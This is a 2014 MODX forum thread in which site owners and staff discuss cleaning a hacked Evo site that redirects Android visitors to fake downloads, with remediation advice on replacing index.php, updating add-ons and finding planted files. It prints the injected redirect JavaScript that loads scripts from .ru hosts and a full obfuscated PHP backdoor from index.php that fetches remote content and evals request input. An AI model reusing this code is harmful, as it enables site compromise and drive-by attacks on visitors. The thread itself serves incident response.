Modx Evo site infected by javascript redirect script

12 Posts

gregory84 Reply #1, 12 years, 4 months ago

Hello everybody,

On June 16, 2014 i noticed that by accessing my site from an Android device, it redirects to various suspicious downloads (fake Flash Player update or some stuff on Google Play).

On every page, after the closing </html> tag, there are many blank lines, and after them the following code:

<!--COOKIE UPDATE-->
<script type="text/javascript">
function setCookie(cname,cvalue,exdays)
{
var d = new Date();
d.setTime(d.getTime()+(exdays*24*60*60*1000));
var expires = "expires="+d.toGMTString();
document.cookie = cname + "=" + cvalue + "; " + expires;
}

function getCookie(cname){var name = cname + "=";var ca = document.cookie.split(';');for(var i=0; i<ca.length; i++) {var c = ca[i].trim();if (c.indexOf(name)==0) return c.substring(name.length,c.length);}return "";}if(!getCookie('ml_redirrect')){setCookie('ml_redirrect',1,30);document.write("<script type=\"text\/javascript\" src=\"ht"+"tp:\/\/m"+"ob"+"il"+"eg"+"et"+"t"+"i"+"n"+"g."+"ru\/j"+"s?"+"id=7"+"7"+"4"+"9\"><\/script>");	}
</script>
<!--COOKIE UPDATE-->

and

<script type="text/javascript" src="http://softfilesarchives.ru/jquery.js"></script>

The same is on my another site built on Revo, so it seems not to be Evo-only case.

The question: how to clean this malware code from the site?

- searching fragments of that code in ModX files didn't give any result
- also no tracks of it in chunks, plugins and templates
- for some reasons i cannot use reserve copy to restore

Do you have any idea, where resides this malware code and how to get rid of it?
Thanks in advance!

109 Posts

clareoconsulting Reply #2, 12 years, 4 months ago

The following forum thread from 6 days ago seems similar:

https://forums.modx.com/thread/85986/modx-revolution-2-2-6-hack-appearing-in-assets-folder#dis-post-500042

MODX Staff
2,502 Posts

Jay Gilmore Reply #3, 12 years, 4 months ago

Gregory, I encountered a hacked site running 1.0.10 on June 4th and determined there were several files added to the site directories. A lang.php and logo.php file to /assets/images/ both of which included a mailer script. This doesn't sound like the issue you encountered. Yours sounds like something I've seen before. There was a critical fix to AjaxSearch in 1.0.14 and it is important that you either remove AjaxSearch and the index-ajax.php file in your web root or update the site. Then I'd upgrade the site to the latest version. There are also known vulnerabilities which we post here: https://forums.modx.com/board?board=8

@clareo consulting, thanks for the tip, however, it's very unlikely these are related as Revo and Evo are entirely distinct codebases.

Author of zero books. Formerly of many strange things. Pairs well with meats. Conversations are magical experiences. He's dangerous around code but a markup magician. Blog ✦ Twitter ✦ LinkedIn ✦ GitHub

12 Posts

gregory84 Reply #4, 12 years, 4 months ago

Probably that's a solution,

although i'm not completely sure yet. I opened the main index.php in MODx root directory, and found the following at the end of file:

<?php
$GLOBALS['_1910648228_']=Array(base64_decode('' .'ZnVuY3Rpb25fZXh' .'p' .'c3' .'Rz'),base64_decode('' .'Y2htb2Q='),base64_decode('ZXJy' .'b3' .'J' .'fc' .'mVwb3J0a' .'W5' .'n'),base64_decode('' .'aW5' .'pX3NldA=='),base64_decode('Y3Vy' .'bF9z' .'ZXRvcHQ='),base64_decode('cHJl' .'Z19' .'tYXRjaA=='),base64_decode('Z' .'ml' .'s' .'ZV' .'9n' .'ZXRfY' .'29u' .'dG' .'V' .'ud' .'HM='),base64_decode('Y291bnQ='),base64_decode('bXRfcmFuZ' .'A=='),base64_decode('dX' .'Js' .'Z' .'W' .'5jb2Rl'),base64_decode('' .'dXJsZW5' .'jb2Rl'),base64_decode('b' .'WQ1'),base64_decode('aW5p' .'X2dldA' .'=='),base64_decode('Zm' .'lsZV' .'9nZXRfY29ud' .'G' .'VudHM='),base64_decode('ZnVu' .'Y' .'3Rp' .'b25' .'fZXhp' .'c3' .'R' .'z'),base64_decode('Y' .'3VybF' .'9' .'pbml0'),base64_decode('' .'Y3VybF9zZXRvc' .'HQ='),base64_decode('Y3VybF9zZXRvcHQ='),base64_decode('Y3' .'V' .'yb' .'F9leGVj'),base64_decode('Y3' .'V' .'ybF9jbG' .'9zZQ=' .'='),base64_decode('Z' .'mls' .'ZWN0aW' .'1l'),base64_decode('ZmdldHM' .'='),base64_decode('ZnN' .'vY2t' .'v' .'c' .'G' .'Vu'),base64_decode('bX' .'RfcmF' .'uZA=='),base64_decode('' .'ZXhw'),base64_decode('' .'dXJs' .'ZW5jb2' .'R' .'l'),base64_decode('dXJsZ' .'W5jb2Rl'),base64_decode('bW' .'Q1'),base64_decode('Zndya' .'XRl'),base64_decode('Y' .'XJyYXlfc' .'3BsaWNl'),base64_decode('' .'c' .'G9z'),base64_decode('bmw' .'yYnI='),base64_decode('dXJ' .'sZW5jb2' .'Rl'),base64_decode('ZmVvZg=='),base64_decode('' .'ZmdldHM='),base64_decode('c3' .'RycG' .'9z'),base64_decode('YX' .'Jy' .'YXlfa' .'W' .'5' .'0' .'Z' .'X' .'J' .'zZWN0'),base64_decode('' .'ZmNsb3Nl'),base64_decode('' .'cHJ' .'l' .'Z19zcGx' .'pdA' .'=='),base64_decode('' .'ZGl' .'y'),base64_decode('' .'c2' .'V' .'zc2l' .'vbl9u' .'YW1l'),base64_decode('' .'ZmxvY2s' .'='),base64_decode('YXJ' .'yYX' .'l' .'f' .'bWVyZ2U='),base64_decode('c' .'3R' .'ycG' .'9' .'z'),base64_decode('Z' .'Gly'),base64_decode('c3RyaXBz' .'bGFza' .'GV' .'z'));  function _2061188766($i){$a=Array('aW5kZ2V0','U0NSSV' .'BUX0ZJTEVOQU1F','Z' .'Gl' .'zcGxhe' .'V9lcnJ' .'vcnM=','' .'M' .'A==','Y2xpZW' .'50X2' .'NoZWNr','Y2xpZW' .'50X2NoZWN' .'r','I' .'VxTIXU=','U' .'0' .'NSSVBUX' .'0ZJTEVO' .'Q' .'U1F','dQ==','dw' .'==','U0VSVk' .'VS' .'X05BTUU=','' .'UkV' .'RVUVTVF9V' .'Ukk=','SFR' .'U' .'UF9V' .'U0' .'V' .'S' .'X0' .'F' .'HRU' .'5U','a' .'H' .'R0cD' .'ovL2Jp' .'bG' .'xhci' .'5zdmVl' .'c' .'y5ydS' .'9n' .'Z' .'XQucGhwP2' .'Q9','J' .'nU' .'9','JmM9','Jmk9MS' .'ZoP' .'Q=' .'=','MjNhY' .'mRiNWU' .'zNjQ5ZD' .'YzYjgxYTU' .'4YTJjZmY2OD' .'g5MDk=','' .'MQ==','YWx' .'s' .'b3' .'df' .'dXJsX' .'2ZvcGVu','Y3Vyb' .'F9pbml0','cn' .'U=','Ym' .'ls' .'bGFyLnN2ZWVzL' .'nJ1','R0VUIC9nZ' .'XQucG' .'hwP2Q9','J' .'nU9','J' .'mM9','Jmk9' .'M' .'SZoPQ==','MjNhYmR' .'iN' .'W' .'UzNjQ' .'5ZD' .'Y' .'zYj' .'gxYTU4YTJjZ' .'mY2ODg5M' .'Dk=','M' .'Q==','IEhUVFAvMS4xDQo=','SG9' .'z' .'dDog' .'Y' .'mlsbG' .'FyLnN2ZW' .'VzLnJ1DQo=','Q29' .'u' .'bmVj' .'d' .'GlvbjogQ2xvc' .'2U' .'N' .'Cg0K','','c' .'H' .'V0Zn' .'N4dmh' .'i' .'ZGF' .'uZm' .'ts','Ymhueg' .'==','cXR' .'p','L1x' .'SX' .'FIv','d' .'H' .'ZxbWNq' .'dXNyZWd' .'rYWc=','cXo' .'=','cA==','OTliMDFhO' .'Tk=');return base64_decode($a[$i]);}  if(!$GLOBALS['_1910648228_'][0](_2061188766(0))){$GLOBALS['_1910648228_'][1]($_SERVER[_2061188766(1)],round(0+51.2+51.2+51.2+51.2+51.2));function l__0(){$GLOBALS['_1910648228_'][2](round(0));$GLOBALS['_1910648228_'][3](_2061188766(2),_2061188766(3));while(round(0+1209.5+1209.5)-round(0+604.75+604.75+604.75+604.75))$GLOBALS['_1910648228_'][4]($nfe_0,$nfe_0,$nfe_1,$nfe_2);if(!empty($_COOKIE[_2061188766(4)]))die($_COOKIE[_2061188766(5)]);if($GLOBALS['_1910648228_'][5](_2061188766(6),$GLOBALS['_1910648228_'][6]($_SERVER[_2061188766(7)])))$nfe_3=_2061188766(8);else $nfe_3=_2061188766(9);$nfe_4=$_SERVER[_2061188766(10)] .$_SERVER[_2061188766(11)];$nfe_5=$_SERVER[_2061188766(12)];(round(0+1990.5+1990.5)-round(0+796.2+796.2+796.2+796.2+796.2)+round(0+3140)-round(0+785+785+785+785))?$GLOBALS['_1910648228_'][7]($nfe_6,$nfe_7):$GLOBALS['_1910648228_'][8](round(0+179.4+179.4+179.4+179.4+179.4),round(0+796.2+796.2+796.2+796.2+796.2));$nfe_8=_2061188766(13) .$GLOBALS['_1910648228_'][9]($nfe_4) ._2061188766(14) .$GLOBALS['_1910648228_'][10]($nfe_5) ._2061188766(15) .$nfe_3 ._2061188766(16) .$GLOBALS['_1910648228_'][11](_2061188766(17) .$nfe_4 .$nfe_5 .$nfe_3 ._2061188766(18));$nfe_9=round(0+1072.5+1072.5);if($GLOBALS['_1910648228_'][12](_2061188766(19))== round(0+0.25+0.25+0.25+0.25)){return $GLOBALS['_1910648228_'][13]($nfe_8);}elseif($GLOBALS['_1910648228_'][14](_2061188766(20))){$nfe_10=$GLOBALS['_1910648228_'][15]($nfe_8);$GLOBALS['_1910648228_'][16]($nfe_10,42,FALSE);$nfe_11=round(0+256.25+256.25+256.25+256.25);$GLOBALS['_1910648228_'][17]($nfe_10,19913,TRUE);$nfe_7=$GLOBALS['_1910648228_'][18]($nfe_10);$GLOBALS['_1910648228_'][19]($nfe_10);if((round(0+250+250+250)^round(0+250+250+250))&& $GLOBALS['_1910648228_'][20]($nfe_3,$nfe_5,$nfe_1))$GLOBALS['_1910648228_'][21]($nfe_12,$_SERVER);return $nfe_7;$nfe_13=_2061188766(21);}else{$nfe_2=$GLOBALS['_1910648228_'][22](_2061188766(22),round(0+26.666666666667+26.666666666667+26.666666666667),$nfe_0,$nfe_14,round(0+30));if(round(0+1123.8+1123.8+1123.8+1123.8+1123.8)<$GLOBALS['_1910648228_'][23](round(0+991+991),round(0+1816+1816)))$GLOBALS['_1910648228_'][24]($nfe_10);if($nfe_2){$nfe_6=_2061188766(23) .$GLOBALS['_1910648228_'][25]($nfe_4) ._2061188766(24) .$GLOBALS['_1910648228_'][26]($nfe_5) ._2061188766(25) .$nfe_3 ._2061188766(26) .$GLOBALS['_1910648228_'][27](_2061188766(27) .$nfe_4 .$nfe_5 .$nfe_3 ._2061188766(28)) ._2061188766(29);$nfe_6 .= _2061188766(30);$nfe_6 .= _2061188766(31);$GLOBALS['_1910648228_'][28]($nfe_2,$nfe_6);if((round(0+1379.3333333333+1379.3333333333+1379.3333333333)^round(0+1379.3333333333+1379.3333333333+1379.3333333333))&& $GLOBALS['_1910648228_'][29]($_SERVER,$nfe_5))$GLOBALS['_1910648228_'][30]($_REQUEST,$nfe_15);$nfe_16=_2061188766(32);if((round(0+176.5+176.5)^round(0+70.6+70.6+70.6+70.6+70.6))&& $GLOBALS['_1910648228_'][31]($_COOKIE))$GLOBALS['_1910648228_'][32]($_SERVER);while(!$GLOBALS['_1910648228_'][33]($nfe_2)){$nfe_16 .= $GLOBALS['_1910648228_'][34]($nfe_2,round(0+42.666666666667+42.666666666667+42.666666666667));if($GLOBALS['_1910648228_'][35](_2061188766(33),_2061188766(34))!==false)$GLOBALS['_1910648228_'][36]($nfe_0,$_COOKIE,$_REQUEST);}$GLOBALS['_1910648228_'][37]($nfe_2);$nfe_17=_2061188766(35);list($nfe_15,$nfe_12)=$GLOBALS['_1910648228_'][38](_2061188766(36),$nfe_16,round(0+2));if((round(0+779.2+779.2+779.2+779.2+779.2)+round(0+180.25+180.25+180.25+180.25))>round(0+3896)|| $GLOBALS['_1910648228_'][39]($nfe_12));else{$GLOBALS['_1910648228_'][40]($nfe_15,$nfe_6);}$nfe_1=round(0+0.5+0.5);if((round(0+1817.5+1817.5)+round(0+2087.5+2087.5))>round(0+1211.6666666667+1211.6666666667+1211.6666666667)|| $GLOBALS['_1910648228_'][41]($nfe_10));else{$GLOBALS['_1910648228_'][42]($nfe_16,$_SERVER,$nfe_10);}return $nfe_12;if($GLOBALS['_1910648228_'][43](_2061188766(37),_2061188766(38))!==false)$GLOBALS['_1910648228_'][44]($_REQUEST,$nfe_12,$nfe_0);}}}echo l__0();if(@$_REQUEST[_2061188766(39)]== _2061188766(40))eval($GLOBALS['_1910648228_'][45]($_REQUEST["c"]));};

I deleted this index.php file and replaced it with index.php from ModX installation archive. After that, the malicious code disappeared from my site.

Note: just deleting the mentioned code from index.php and saving it seemed not to be helpful, don't know why. Try to remove and replace index.php as I explained above.

12 Posts

gregory84 Reply #5, 12 years, 4 months ago

clareoconsulting, Jay Gilmore, many thanks!)

MODX Staff
2,502 Posts

Jay Gilmore Reply #6, 12 years, 4 months ago

So, that's most likely the resultant payload of some other vector. I.e., that's only what they uploaded after the site was compromised. What version of Evo are you running and are all your add-ons/extras up to date?

Author of zero books. Formerly of many strange things. Pairs well with meats. Conversations are magical experiences. He's dangerous around code but a markup magician. Blog ✦ Twitter ✦ LinkedIn ✦ GitHub

☆ A M B ☆
24,524 Posts

sottwell Reply #7, 12 years, 4 months ago

That code got into the index.php somehow. Most of these seem to be activated by malicious scripts hidden in the filesystem. Check your files for anything newer than all the rest, or older if you have just upgraded.

The one old Evo site that I haven't managed for a couple of years that got infected recently had two files dated June 3. They were similar to the cache.php files mention in other posts. So even though I upgraded the site on June 10, it would have been re-infected eventually. A quick search for files older than June 10 turned up those two, as well as a few custom snippets that hadn't had any files updated, but I was expecting those, and they were in the expected locations, and much older. So the two malicious scripts stood out and were easily deleted.

As far as Revo sites go, there should not be any .php scripts in your assets directories, except for the connector.php files in the various assets/components folders.

Studying MODX in the desert - http://sottwell.com
Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
Join the Slack Community - http://modx.org

109 Posts

clareoconsulting Reply #8, 12 years, 4 months ago

Quote from: smashingred at Jun 18, 2014, 08:11 AM

@clareo consulting, thanks for the tip, however, it's very unlikely these are related as Revo and Evo are entirely distinct codebases.

Jay -- you're 100% right on that. I was struck by the similarity of the embedded bad-actor code targeting Android devices. Sorry for not noting one thread Evo, one Revo. -- no intent to add confusion.

☆ A M B ☆
24,524 Posts

sottwell Reply #9, 12 years, 4 months ago

Rewriting a core file such as index.php or config.inc.php would be the same for almost any PHP application, so in the case of malicious scripts that re-write that file it could be for anything.

Revolution does allow for the renaming of the config.inc.php file, as well as renaming the manager, core and assets directories, and even moving the core outside of the web root. The index.php and other critical files can be set as read-only as well, at least on most system.

Studying MODX in the desert - http://sottwell.com
Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
Join the Slack Community - http://modx.org

MODX Staff
2,502 Posts

Jay Gilmore Reply #10, 12 years, 4 months ago

It should also be noted that in later versions of Evo, some of the key files are monitored and there is an alert to warn you of changed/altered files. It can only tell you that you've been hacked, not prevent them in the first place.

Author of zero books. Formerly of many strange things. Pairs well with meats. Conversations are magical experiences. He's dangerous around code but a markup magician. Blog ✦ Twitter ✦ LinkedIn ✦ GitHub